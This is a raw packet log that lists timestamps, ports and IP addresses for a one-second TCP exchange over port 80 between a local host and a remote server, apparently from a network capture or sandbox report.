Aug 5, 2024 12:01:33.345511913 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.345525026 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.345540047 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.345563889 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.345568895 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.345580101 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.345594883 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.345638037 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.345638037 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.345813990 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.345989943 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346004963 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346019983 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346035004 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346052885 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346059084 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.346059084 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.346067905 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346084118 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346100092 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346122026 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346136093 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.346136093 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.346138954 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346157074 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346194983 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.346194983 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.346702099 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346718073 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346734047 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346750975 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346766949 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346780062 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.346781969 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346798897 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.346805096 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.346860886 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.347042084 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.347058058 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.347080946 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.347196102 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.347212076 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.347225904 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.347242117 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.347244978 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.347259045 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.347279072 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.347281933 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.347297907 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.347306013 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.347313881 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.347330093 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.347347021 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.347351074 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.347361088 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.347376108 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.347378969 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.347454071 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.348161936 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.348177910 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.348196030 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.348210096 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.348212004 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.348228931 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.348248005 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.348259926 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.348263025 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.348267078 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.348279953 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.348295927 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.348311901 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.348325014 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.348331928 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.348331928 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.348340988 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.348356962 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.348362923 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.348372936 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.348387957 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.348396063 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.348402977 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.348440886 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.349133968 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.349150896 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.349167109 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.349180937 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.349195957 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.349200964 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.349200964 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.349214077 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.349229097 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.349244118 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.349258900 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.349263906 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.349265099 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.349276066 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.349292040 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.349308968 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.349324942 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.349328041 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.349328041 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.349343061 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.349390030 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.350038052 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350054026 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350069046 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350086927 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350102901 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350111961 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.350111961 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.350119114 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350131989 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350147009 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350162983 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350172043 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.350172043 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.350178957 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350195885 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350209951 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.350210905 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350227118 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350249052 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350264072 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350265980 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.350265980 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.350279093 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350306988 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.350815058 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350836992 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350853920 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350869894 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350882053 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.350888014 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.350895882 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.350928068 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.432156086 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.485857964 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.687582016 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.687613010 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.687628031 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.687714100 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.687728882 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.687746048 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.687762976 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.687781096 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.687810898 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.687886953 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.687916994 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.687932968 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688040018 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688055992 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688071966 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688074112 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.688163996 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688178062 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688199043 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.688271046 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.688322067 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688337088 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688359022 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688374043 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688390017 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688405991 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688410997 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.688410997 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.688508987 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.688606977 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688621998 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688637018 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688652992 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688669920 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688721895 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.688900948 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688915968 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688930988 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688946009 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688961029 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.688961983 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.688980103 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.689055920 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.689162016 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.689177036 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.689192057 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.689207077 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.689232111 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.689248085 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.689255953 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.689255953 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.689263105 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.689280033 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.689296961 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.689301014 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.689313889 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.689332962 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.689352036 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.689352036 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.689969063 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.689985037 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690001011 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690017939 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690033913 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690048933 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690064907 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690080881 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690098047 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690114021 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690130949 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690146923 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690162897 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690177917 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690177917 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.690195084 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690215111 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.690253973 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.690947056 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690963030 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690977097 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.690993071 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691006899 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691023111 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691025019 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.691025019 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.691039085 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691056013 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691073895 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691091061 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691093922 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.691106081 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691114902 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.691123009 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691138983 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691139936 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.691155910 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691171885 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691171885 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.691189051 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691205025 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.691240072 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.691920996 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691936970 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691951990 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691967964 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691975117 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.691983938 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.691999912 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692017078 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692027092 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.692033052 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692048073 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692049026 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.692064047 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692080021 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692091942 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.692096949 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692111015 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692126989 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692137957 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.692137957 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.692142010 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692158937 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692183971 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.692249060 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.692878962 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692894936 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692909002 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692924976 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692939997 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692951918 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.692955017 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692965984 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.692970991 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.692986965 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693001986 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693013906 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.693013906 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.693017960 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693032980 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693048954 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693053961 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.693067074 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693083048 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693099022 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693114042 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693121910 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.693121910 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.693181038 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.693733931 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693749905 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693767071 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693789959 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693805933 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693821907 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693825960 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.693825960 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.693836927 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693852901 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693871021 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693890095 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.693892956 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.693892956 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.693932056 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.978594065 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.978624105 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.978642941 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.978715897 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.978750944 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.978765965 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.978782892 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.978799105 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.978810072 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.978835106 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.979001045 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979017973 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979033947 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979057074 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979059935 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.979099035 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.979201078 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979260921 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.979346037 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979361057 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979377031 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979391098 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979407072 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.979407072 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979428053 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.979430914 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979446888 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979485035 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.979724884 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979741096 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979756117 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979794025 CEST	49894	80	192.168.2.7	27.221.16.149
